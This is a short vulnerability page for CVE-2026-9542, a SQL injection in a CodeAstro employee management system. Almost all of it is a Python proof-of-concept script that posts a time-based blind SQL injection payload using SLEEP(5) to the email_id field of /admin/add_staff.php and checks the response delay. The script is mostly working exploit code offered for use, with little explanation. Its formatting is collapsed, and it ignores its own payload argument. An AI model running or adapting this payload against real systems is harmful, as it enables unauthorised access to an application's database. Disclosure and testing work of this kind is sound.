CVE-2026-9542 CodeAstro员工管理系统SQL注入漏洞

import requests def check_sqli(target_url, email_payload): """ Proof of Concept for CVE-2026-9542 Tests the 'email_id' parameter in /admin/add_staff.php for SQL Injection. """ target_endpoint = f"{target_url}/admin/add_staff.php" # Payload to check for time-based blind SQL injection # Assuming MySQL backend, sleep for 5 seconds if injection is successful payload = "[email protected]' AND (SELECT SLEEP(5))-- -" # Data to be sent in the POST request data = { "email_id": payload } try: print(f"[+] Sending payload to {target_endpoint}...") response = requests.post(target_endpoint, data=data, timeout=10) # Check if the response time indicates a successful delay if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Server response delayed (SQL Injection).") else: print("[-] Vulnerability not detected or payload incorrect.") except requests.RequestException as e: print(f"[Error] Request failed: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli(target, "")